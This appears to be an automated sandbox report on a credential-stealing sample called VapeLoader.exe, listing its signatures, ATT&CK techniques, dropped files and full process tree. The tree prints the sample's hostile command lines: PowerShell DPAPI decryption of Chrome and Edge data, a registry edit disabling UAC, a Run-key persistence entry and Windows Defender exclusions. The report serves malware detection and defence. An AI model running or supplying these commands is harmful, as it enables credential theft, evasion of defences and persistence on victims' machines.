Overview

overview

10

Static

static

3

VapeLoader.exe

windows10-2004-x64

10

VapeLoader.exe

windows10-ltsc 2021-x64

10

VapeLoader.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    98s
  • max time network
    113s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    09/11/2024, 18:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    VapeLoader.exe
  • Size 37.2MB
  • Sample241109-xlafrayras
  • SHA256 9b3c0eec9b3c11f0b8a5e65bb19bbef996b359924129ecde0d5258f3f7aafce6
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
discoveryevasionexecutionpersistencespywarestealertrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Blocklisted process makes network request 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Drops file in Windows directory 20 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VapeLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\VapeLoader.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:4872
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\JbGI211puy.ps1""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\JbGI211puy.ps1"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4032
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qrbhizfb\qrbhizfb.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES72A0.tmp" "c:\Users\Admin\AppData\Local\Temp\qrbhizfb\CSC82B2566D942041F6A4FCBC438628A095.TMP"
            5⤵
              PID:2788
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic diskdrive get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2296
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2668
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:900
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3168
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,127,111,49,205,24,78,122,78,147,42,128,149,134,242,208,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,215,181,248,177,91,23,184,121,125,141,148,86,12,162,101,184,165,24,247,129,57,75,7,36,90,185,4,233,114,208,29,133,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,145,119,102,72,71,218,247,252,217,25,218,202,120,107,43,35,250,238,150,46,113,90,203,99,27,194,12,245,98,189,69,70,48,0,0,0,124,135,53,153,226,127,160,233,179,231,76,118,160,29,230,123,158,63,211,73,136,85,66,164,64,64,176,16,98,183,110,248,226,122,158,185,88,17,64,112,22,86,212,114,238,66,244,191,64,0,0,0,150,19,62,57,163,204,145,211,136,169,33,253,54,74,248,190,184,153,251,133,12,227,34,159,78,28,220,168,108,230,210,70,151,122,185,40,51,189,114,204,36,167,224,90,122,215,110,206,230,124,15,105,42,62,253,84,66,125,162,23,92,8,46,52), $null, 'CurrentUser')"
        2⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,127,111,49,205,24,78,122,78,147,42,128,149,134,242,208,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,215,181,248,177,91,23,184,121,125,141,148,86,12,162,101,184,165,24,247,129,57,75,7,36,90,185,4,233,114,208,29,133,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,145,119,102,72,71,218,247,252,217,25,218,202,120,107,43,35,250,238,150,46,113,90,203,99,27,194,12,245,98,189,69,70,48,0,0,0,124,135,53,153,226,127,160,233,179,231,76,118,160,29,230,123,158,63,211,73,136,85,66,164,64,64,176,16,98,183,110,248,226,122,158,185,88,17,64,112,22,86,212,114,238,66,244,191,64,0,0,0,150,19,62,57,163,204,145,211,136,169,33,253,54,74,248,190,184,153,251,133,12,227,34,159,78,28,220,168,108,230,210,70,151,122,185,40,51,189,114,204,36,167,224,90,122,215,110,206,230,124,15,105,42,62,253,84,66,125,162,23,92,8,46,52), $null, 'CurrentUser')
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,127,111,49,205,24,78,122,78,147,42,128,149,134,242,208,24,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,79,185,171,137,127,87,23,89,184,125,148,96,48,32,39,89,229,252,130,147,130,231,32,55,9,251,43,6,199,115,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,99,174,7,51,95,82,82,225,22,145,189,79,232,22,246,157,163,139,225,39,70,14,208,4,125,107,129,24,197,206,58,61,48,0,0,0,190,218,32,181,194,133,68,114,38,204,183,49,210,9,35,231,105,143,213,148,96,219,185,64,45,71,208,226,77,35,222,227,59,11,215,28,249,64,247,206,248,142,251,13,82,106,45,155,64,0,0,0,105,213,139,30,9,165,73,21,44,98,123,49,115,202,195,231,240,62,160,159,92,203,252,95,189,24,240,2,73,138,25,230,55,172,191,181,148,56,91,0,241,164,8,234,170,184,190,12,225,51,240,167,72,237,180,52,178,20,228,86,144,137,232,68), $null, 'CurrentUser')"
        2⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:4484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,127,111,49,205,24,78,122,78,147,42,128,149,134,242,208,24,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,79,185,171,137,127,87,23,89,184,125,148,96,48,32,39,89,229,252,130,147,130,231,32,55,9,251,43,6,199,115,238,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,99,174,7,51,95,82,82,225,22,145,189,79,232,22,246,157,163,139,225,39,70,14,208,4,125,107,129,24,197,206,58,61,48,0,0,0,190,218,32,181,194,133,68,114,38,204,183,49,210,9,35,231,105,143,213,148,96,219,185,64,45,71,208,226,77,35,222,227,59,11,215,28,249,64,247,206,248,142,251,13,82,106,45,155,64,0,0,0,105,213,139,30,9,165,73,21,44,98,123,49,115,202,195,231,240,62,160,159,92,203,252,95,189,24,240,2,73,138,25,230,55,172,191,181,148,56,91,0,241,164,8,234,170,184,190,12,225,51,240,167,72,237,180,52,178,20,228,86,144,137,232,68), $null, 'CurrentUser')
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:708
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          3⤵
          • UAC bypass
          PID:2880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic diskdrive get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2684
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v VapeLoader /t REG_SZ /d "C:\ProgramData\Update.vbs" /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2432
        • C:\Windows\system32\reg.exe
          reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v VapeLoader /t REG_SZ /d "C:\ProgramData\Update.vbs" /f
          3⤵
          • Adds Run key to start application
          PID:3928
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.FRf55pmows""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:60
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\.FRf55pmows"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\System32\Tasks"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4828
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic baseboard get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3708
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3864
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic baseboard get serialnumber
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "pip install pillow"
        2⤵
          PID:4576
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1992
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic path win32_computersystemproduct get uuid
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3632
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
          2⤵
            PID:468
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Description,PNPDeviceID
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1776
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
            2⤵
              PID:4676
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic memorychip get serialnumber
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:5092
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
              2⤵
                PID:4420
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic csproduct get uuid
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1716
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
                2⤵
                  PID:2708
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic cpu get processorid
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4456
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
                  2⤵
                    PID:856
                    • C:\Windows\system32\getmac.exe
                      getmac /NH
                      3⤵
                        PID:4180
                    • C:\Users\Admin\AppData\Local\Temp\python-installer.exe
                      C:\Users\Admin\AppData\Local\Temp\python-installer.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
                      2⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:3320
                      • C:\Windows\Temp\{BAABA237-7536-4C0A-A71F-4BE12461CFA3}\.cr\python-installer.exe
                        "C:\Windows\Temp\{BAABA237-7536-4C0A-A71F-4BE12461CFA3}\.cr\python-installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-installer.exe" -burn.filehandle.attached=496 -burn.filehandle.self=536 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_pip=1 Include_doc=0
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:2088
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "pip install pyperclip"
                      2⤵
                        PID:4592
                    • C:\Windows\system32\msiexec.exe
                      C:\Windows\system32\msiexec.exe /V
                      1⤵
                      • Blocklisted process makes network request
                      • Enumerates connected drives
                      • Drops file in Windows directory
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2660

                    Network

                          MITRE ATT&CK Enterprise v15

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          1
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Persistence

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Privilege Escalation

                          Abuse Elevation Control Mechanism

                          1
                          T1548

                          Bypass User Account Control

                          1
                          T1548.002

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Defense Evasion

                          Abuse Elevation Control Mechanism

                          1
                          T1548

                          Bypass User Account Control

                          1
                          T1548.002

                          Impair Defenses

                          1
                          T1562

                          Disable or Modify Tools

                          1
                          T1562.001

                          Modify Registry

                          2
                          T1112

                          Credential Access

                          Credentials from Password Stores

                          1
                          T1555

                          Credentials from Web Browsers

                          1
                          T1555.003

                          Unsecured Credentials

                          1
                          T1552

                          Credentials In Files

                          1
                          T1552.001

                          Discovery

                          Peripheral Device Discovery

                          1
                          T1120

                          Process Discovery

                          1
                          T1057

                          Query Registry

                          3
                          T1012

                          System Information Discovery

                          2
                          T1082

                          System Location Discovery

                          1
                          T1614

                          System Language Discovery

                          1
                          T1614.001

                          Lateral Movement

                          Collection

                          Data from Local System

                          1
                          T1005

                          Command and Control

                          Web Service

                          1
                          T1102

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          e57a451.rbs
                          • Path C:\Config.Msi\e57a451.rbs
                          • Size 8KB
                          • SHA256 fee31b8a98ed3f9c71298d0a3d84bc33ff5dc508625c2bdc776f528e8af2e894
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          e57a456.rbs
                          • Path C:\Config.Msi\e57a456.rbs
                          • Size 12KB
                          • SHA256 0c8c84ca0c735a49d79995d64ece3a45e2382a246e68809a2032b9f79518cc4f
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          e57a45b.rbs
                          • Path C:\Config.Msi\e57a45b.rbs
                          • Size 50KB
                          • SHA256 86e51bfbcdee602a029bdc49e59f1314aa09e96f4ad6ff3957c502075c44ebe3
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          powershell.exe.log
                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                          • Size 2KB
                          • SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
                          • MD5 SHA1 SHA512
                          Submit Download

                          StartupProfileData-NonInteractive
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 087b948563f7563b3b2331e909db823946034d674b612564cdcc7c233d676d8b
                          • MD5 SHA1 SHA512
                          Submit Download

                          StartupProfileData-NonInteractive
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 57a8a04099832adb460cd8104c2fefe76023a872fcf260a40c0eb198cdd8b74e
                          • MD5 SHA1 SHA512
                          Submit Download

                          StartupProfileData-NonInteractive
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 b5a40393972fe1a214a7ea9313a122cc4f2b7f17ce51bc3040c5618c4e2269e8
                          • MD5 SHA1 SHA512
                          Submit Download

                          StartupProfileData-NonInteractive
                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 d935fbdc41f9e66c5ba4301c7ac7a5034bb7103363fd06c945300eace49364a2
                          • MD5 SHA1 SHA512
                          Submit Download

                          lib_JustForMe
                          • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\lib_JustForMe
                          • Size 7.1MB
                          • SHA256 63032d6386c94e83a3b7b7b9eefc23493f976bd435a10668aa263d1ca1cb22e1
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tcltk.msi
                          • Path C:\Users\Admin\AppData\Local\Package Cache\{08A1963D-07D1-4620-929C-385F6A307772}v3.12.6150.0\tcltk.msi
                          • Size 3.4MB
                          • SHA256 2a24729e58bce7c2abde7225dc2de32539b4c4ef3609b53b54f643955d01c4b0
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          dev.msi
                          • Path C:\Users\Admin\AppData\Local\Package Cache\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}v3.12.6150.0\dev.msi
                          • Size 384KB
                          • SHA256 04f38bdd910eabe114dde5e321cdcbf831c6373da9d27d791b96e09cd96f5417
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          exe.msi
                          • Path C:\Users\Admin\AppData\Local\Package Cache\{537B2AF5-504B-4303-99CB-FDE56F47AA51}v3.12.6150.0\exe.msi
                          • Size 724KB
                          • SHA256 9f3fc998d3ef429818a8047a43aad89f2d88c190385ba5ac57124132acda9eab
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          core.msi
                          • Path C:\Users\Admin\AppData\Local\Package Cache\{901B913C-FA63-48D2-9842-7D7676739378}v3.12.6150.0\core.msi
                          • Size 1.9MB
                          • SHA256 675c023e78eaed980638a969feaaa07c52a5a604d89e81434e6c462f17eebc12
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          JbGI211puy.ps1
                          • Path C:\Users\Admin\AppData\Local\Temp\JbGI211puy.ps1
                          • Size 380B
                          • SHA256 027703af742d779f4dcde399ac49a3334f1b9e51b199215203e1f4b5e3251fe5
                          • MD5 SHA1 SHA512
                          Submit Download

                          Python 3.12.6 (64-bit)_20241109185954_000_core_JustForMe.log
                          • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20241109185954_000_core_JustForMe.log
                          • Size 1KB
                          • SHA256 a702eaa2d2ed457deb9b2a861270101c019739c88a58b516f4ca0e5250e8a650
                          • MD5 SHA1 SHA512
                          Submit Download

                          Python 3.12.6 (64-bit)_20241109185954_001_exe_JustForMe.log
                          • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20241109185954_001_exe_JustForMe.log
                          • Size 1KB
                          • SHA256 e9fc8169bea26bb6aad14347331af7ec3a97d63a30d490d8576e136df2b4a86e
                          • MD5 SHA1 SHA512
                          Submit Download

                          Python 3.12.6 (64-bit)_20241109185954_002_dev_JustForMe.log
                          • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20241109185954_002_dev_JustForMe.log
                          • Size 1KB
                          • SHA256 86e0b7460784e37d7d1c2ea0f8bc2a081c9d9f4f9c4822b68c7b2cc128dcc178
                          • MD5 SHA1 SHA512
                          Submit Download

                          Python 3.12.6 (64-bit)_20241109185954_003_lib_JustForMe.log
                          • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.6 (64-bit)_20241109185954_003_lib_JustForMe.log
                          • Size 1KB
                          • SHA256 29856471aefffd5268324beab327daa221ad2ca26f2df833f03f2a95bf19bc10
                          • MD5 SHA1 SHA512
                          Submit Download

                          RES72A0.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\RES72A0.tmp
                          • Size 1KB
                          • SHA256 8c292ba3f945944de265d2e10f3854d43092f6e2a497e7dee9e22300a38965ea
                          • MD5 SHA1 SHA512
                          Submit Download

                          __PSScriptPolicyTest_dn3fbn4o.ekv.ps1
                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dn3fbn4o.ekv.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512
                          Submit Download

                          node_sqlite3.node
                          • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
                          • Size 1.8MB
                          • SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          python-installer.exe
                          • Path C:\Users\Admin\AppData\Local\Temp\python-installer.exe
                          • Size 25.3MB
                          • SHA256 5914748e6580e70bedeb7c537a0832b3071de9e09a2e4e7e3d28060616045e0a
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          qrbhizfb.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\qrbhizfb\qrbhizfb.dll
                          • Size 3KB
                          • SHA256 2f66063a311e523de93755e8ea9916f2c0cb1aa9c79d11eff93bed61208f51bd
                          • MD5 SHA1 SHA512
                          Submit Download

                          PythonBA.dll
                          • Path C:\Windows\Temp\{322E8C95-E299-4285-BAD0-D646620D7B0D}\.ba\PythonBA.dll
                          • Size 675KB
                          • SHA256 edc6db3712eb4e1cd6988bc7b42c467ac6901148f3ee4bdfb286eff26efbfd43
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          SideBar.png
                          • Path C:\Windows\Temp\{322E8C95-E299-4285-BAD0-D646620D7B0D}\.ba\SideBar.png
                          • Size 50KB
                          • SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          pip_JustForMe
                          • Path C:\Windows\Temp\{322E8C95-E299-4285-BAD0-D646620D7B0D}\pip_JustForMe
                          • Size 268KB
                          • SHA256 2a1f085a0ad75d5b332fb0fe9e1a40146c311e8e524e898a09ca40157619fa80
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          python-installer.exe
                          • Path C:\Windows\Temp\{BAABA237-7536-4C0A-A71F-4BE12461CFA3}\.cr\python-installer.exe
                          • Size 858KB
                          • SHA256 1dcf770dc47264f7495a559f786a4428f3a97f9d81e4c466ec9a5636f5a1be6d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          CSC82B2566D942041F6A4FCBC438628A095.TMP
                          • Path \??\c:\Users\Admin\AppData\Local\Temp\qrbhizfb\CSC82B2566D942041F6A4FCBC438628A095.TMP
                          • Size 652B
                          • SHA256 4b8398027fda42758c989b1f3002d7731c1766f50c215b69f168bc5b489f0e92
                          • MD5 SHA1 SHA512
                          Submit Download

                          qrbhizfb.0.cs
                          • Path \??\c:\Users\Admin\AppData\Local\Temp\qrbhizfb\qrbhizfb.0.cs
                          • Size 312B
                          • SHA256 295ca195631c485c876e7c468ddcbb3fe7cd219d3e5005a2441be2de54e62ac8
                          • MD5 SHA1 SHA512
                          Submit Download

                          qrbhizfb.cmdline
                          • Path \??\c:\Users\Admin\AppData\Local\Temp\qrbhizfb\qrbhizfb.cmdline
                          • Size 369B
                          • SHA256 67c251265b519a929fd053dbca3bc1bcf60d4c128194b331c1c5909d07431336
                          • MD5 SHA1 SHA512
                          Submit Download

                          memory/2596-117-0x0000022B6F920000-0x0000022B6F970000-memory.dmp
                          Download

                          memory/4032-85-0x00007FFB031F0000-0x00007FFB03CB2000-memory.dmp
                          Download

                          memory/4032-74-0x0000029058C10000-0x0000029058C32000-memory.dmp
                          Download

                          memory/4032-86-0x00007FFB031F0000-0x00007FFB03CB2000-memory.dmp
                          Download

                          memory/4032-84-0x00007FFB031F0000-0x00007FFB03CB2000-memory.dmp
                          Download

                          memory/4032-104-0x00007FFB031F0000-0x00007FFB03CB2000-memory.dmp
                          Download

                          memory/4032-73-0x00007FFB031F3000-0x00007FFB031F5000-memory.dmp
                          Download

                          memory/4032-100-0x0000029058C70000-0x0000029058C78000-memory.dmp
                          Download